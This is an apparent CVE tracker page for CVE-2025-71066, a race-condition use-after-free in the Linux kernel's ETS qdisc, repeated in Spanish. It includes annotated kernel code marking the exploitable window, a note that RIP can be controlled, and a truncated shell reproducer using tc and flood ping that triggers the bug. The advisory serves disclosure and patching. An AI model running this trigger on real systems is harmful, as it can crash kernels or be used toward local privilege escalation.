CVE-2025-71066

In the Linux kernel, the following vulnerability has been resolved: net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change zdi-disclosures@trendmicro.com says: The vulnerability is a race condition between `ets_qdisc_dequeue` and `ets_qdisc_change`. It leads to UAF on `struct Qdisc` object. Attacker requires the capability to create new user and network namespace in order to trigger the bug. See my additional commentary at the end of the analysis. Analysis: static int ets_qdisc_change(struct Qdisc *sch, struct nlattr *opt, struct netlink_ext_ack *extack) { ... // (1) this lock is preventing .change handler (`ets_qdisc_change`) //to race with .dequeue handler (`ets_qdisc_dequeue`) sch_tree_lock(sch); for (i = nbands; i < oldbands; i++) { if (i >= q->nstrict && q->classes[i].qdisc->q.qlen) list_del_init(&q->classes[i].alist); qdisc_purge_queue(q->classes[i].qdisc); } WRITE_ONCE(q->nbands, nbands); for (i = nstrict; i < q->nstrict; i++) { if (q->classes[i].qdisc->q.qlen) { // (2) the class is added to the q->active list_add_tail(&q->classes[i].alist, &q->active); q->classes[i].deficit = quanta[i]; } } WRITE_ONCE(q->nstrict, nstrict); memcpy(q->prio2band, priomap, sizeof(priomap)); for (i = 0; i < q->nbands; i++) WRITE_ONCE(q->classes[i].quantum, quanta[i]); for (i = oldbands; i < q->nbands; i++) { q->classes[i].qdisc = queues[i]; if (q->classes[i].qdisc != &noop_qdisc) qdisc_hash_add(q->classes[i].qdisc, true); } // (3) the qdisc is unlocked, now dequeue can be called in parallel // to the rest of .change handler sch_tree_unlock(sch); ets_offload_change(sch); for (i = q->nbands; i < oldbands; i++) { // (4) we're reducing the refcount for our class's qdisc and // freeing it qdisc_put(q->classes[i].qdisc); // (5) If we call .dequeue between (4) and (5), we will have // a strong UAF and we can control RIP q->classes[i].qdisc = NULL; WRITE_ONCE(q->classes[i].quantum, 0); q->classes[i].deficit = 0; gnet_stats_basic_sync_init(&q->classes[i].bstats); memset(&q->classes[i].qstats, 0, sizeof(q->classes[i].qstats)); } return 0; } Comment: This happens because some of the classes have their qdiscs assigned to NULL, but remain in the active list. This commit fixes this issue by always removing the class from the active list before deleting and freeing its associated qdisc Reproducer Steps (trimmed version of what was sent by zdi-disclosures@trendmicro.com) ``` DEV="${DEV:-lo}" ROOT_HANDLE="${ROOT_HANDLE:-1:}" BAND2_HANDLE="${BAND2_HANDLE:-20:}" # child under 1:2 PING_BYTES="${PING_BYTES:-48}" PING_COUNT="${PING_COUNT:-200000}" PING_DST="${PING_DST:-127.0.0.1}" SLOW_TBF_RATE="${SLOW_TBF_RATE:-8bit}" SLOW_TBF_BURST="${SLOW_TBF_BURST:-100b}" SLOW_TBF_LAT="${SLOW_TBF_LAT:-1s}" cleanup() { tc qdisc del dev "$DEV" root 2>/dev/null } trap cleanup EXIT ip link set "$DEV" up tc qdisc del dev "$DEV" root 2>/dev/null || true tc qdisc add dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2 tc qdisc add dev "$DEV" parent 1:2 handle "$BAND2_HANDLE" \ tbf rate "$SLOW_TBF_RATE" burst "$SLOW_TBF_BURST" latency "$SLOW_TBF_LAT" tc filter add dev "$DEV" parent 1: protocol all prio 1 u32 match u32 0 0 flowid 1:2 tc -s qdisc ls dev $DEV ping -I "$DEV" -f -c "$PING_COUNT" -s "$PING_BYTES" -W 0.001 "$PING_DST" \ >/dev/null 2>&1 & tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 0 tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2 tc -s qdisc ls dev $DEV tc qdisc del dev "$DEV" parent ---truncated---
Configurations

No configuration.

History

22 May 2026, 14:16

Type Values Removed Values Added
CVSS v2 : unknown
v3 : unknown
v2 : unknown
v3 : 7.5
CWE CWE-362

15 Apr 2026, 00:35

Type Values Removed Values Added
Summary
  • (es) En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta: net/sched: ets: Siempre eliminar la clase de la lista activa antes de eliminar en ets_qdisc_change zdi-disclosures@trendmicro.com dice: La vulnerabilidad es una condición de carrera entre 'ets_qdisc_dequeue' y 'ets_qdisc_change'. Conduce a UAF en el objeto 'struct Qdisc'. El atacante requiere la capacidad de crear un nuevo usuario y un espacio de nombres de red para activar el error. Ver mi comentario adicional al final del análisis. Análisis: static int ets_qdisc_change(struct Qdisc *sch, struct nlattr *opt, struct netlink_ext_ack *extack) { ... // (1) este bloqueo está evitando que el manejador .change ('ets_qdisc_change') //compita con el manejador .dequeue ('ets_qdisc_dequeue') sch_tree_lock(sch); for (i = nbands; i &lt; oldbands; i++) { if (i &gt;= q-&gt;nstrict &amp;&amp; q-&gt;classes[i].qdisc-&gt;q.qlen) list_del_init(&amp;q-&gt;classes[i].alist); qdisc_purge_queue(q-&gt;classes[i].qdisc); } WRITE_ONCE(q-&gt;nbands, nbands); for (i = nstrict; i &lt; q-&gt;nstrict; i++) { if (q-&gt;classes[i].qdisc-&gt;q.qlen) { // (2) la clase se añade a q-&gt;active list_add_tail(&amp;q-&gt;classes[i].alist, &amp;q-&gt;active); q-&gt;classes[i].deficit = quanta[i]; } } WRITE_ONCE(q-&gt;nstrict, nstrict); memcpy(q-&gt;prio2band, priomap, sizeof(priomap)); for (i = 0; i &lt; q-&gt;nbands; i++) WRITE_ONCE(q-&gt;classes[i].quantum, quanta[i]); for (i = oldbands; i &lt; q-&gt;nbands; i++) { q-&gt;classes[i].qdisc = queues[i]; if (q-&gt;classes[i].qdisc != &amp;noop_qdisc) qdisc_hash_add(q-&gt;classes[i].qdisc, true); } // (3) el qdisc se desbloquea, ahora dequeue puede ser llamado en paralelo // al resto del manejador .change sch_tree_unlock(sch); ets_offload_change(sch); for (i = q-&gt;nbands; i &lt; oldbands; i++) { // (4) estamos reduciendo el contador de referencias para el qdisc de nuestra clase y // liberándolo qdisc_put(q-&gt;classes[i].qdisc); // (5) Si llamamos a .dequeue entre (4) y (5), tendremos // un UAF fuerte y podremos controlar RIP q-&gt;classes[i].qdisc = NULL; WRITE_ONCE(q-&gt;classes[i].quantum, 0); q-&gt;classes[i].deficit = 0; gnet_stats_basic_sync_init(&amp;q-&gt;classes[i].bstats); memset(&amp;q-&gt;classes[i].qstats, 0, sizeof(q-&gt;classes[i].qstats)); } return 0; } Comentario: Esto sucede porque algunas de las clases tienen sus qdiscs asignados a NULL, pero permanecen en la lista activa. Este commit soluciona este problema al siempre eliminar la clase de la lista activa antes de eliminar y liberar su qdisc asociado. Pasos para Reproducir (versión recortada de lo que fue enviado por zdi-disclosures@trendmicro.com) ``` DEV="${DEV:-lo}" ROOT_HANDLE="${ROOT_HANDLE:-1:}" BAND2_HANDLE="${BAND2_HANDLE:-20:}" # child under 1:2 PING_BYTES="${PING_BYTES:-48}" PING_COUNT="${PING_COUNT:-200000}" PING_DST="${PING_DST:-127.0.0.1}" SLOW_TBF_RATE="${SLOW_TBF_RATE:-8bit}" SLOW_TBF_BURST="${SLOW_TBF_BURST:-100b}" SLOW_TBF_LAT="${SLOW_TBF_LAT:-1s}" cleanup() { tc qdisc del dev "$DEV" root 2&gt;/dev/null } trap cleanup EXIT ip link set "$DEV" up tc qdisc del dev "$DEV" root 2&gt;/dev/null || true tc qdisc add dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2 tc qdisc add dev "$DEV" parent 1:2 handle "$BAND2_HANDLE" \ tbf rate "$SLOW_TBF_RATE" burst "$SLOW_TBF_BURST" latency "$SLOW_TBF_LAT" tc filter add dev "$DEV" parent 1: protocol all prio 1 u32 match u32 0 0 flowid 1:2 tc -s qdisc ls dev $DEV ping -I "$DEV" -f -c "$PING_COUNT" -s "$PING_BYTES" -W 0.001 "$PING_DST" \ &gt;/dev/null 2&gt;&amp;1 &amp; tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 0 t

19 Jan 2026, 13:16

Type Values Removed Values Added
References
  • () https://git.kernel.org/stable/c/062d5d544e564473450d72e6af83077c2b2ff7c3 -
  • () https://git.kernel.org/stable/c/c7f6e7cc14df72b997258216e99d897d2df0dbbd -

13 Jan 2026, 16:16

Type Values Removed Values Added
New CVE

Information

Published : 2026-01-13 16:16

Updated : 2026-05-22 14:16


NVD link : CVE-2025-71066

Mitre link : CVE-2025-71066

CVE.ORG link : CVE-2025-71066


JSON object : View

Products Affected

No product.

CWE
CWE-362

Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')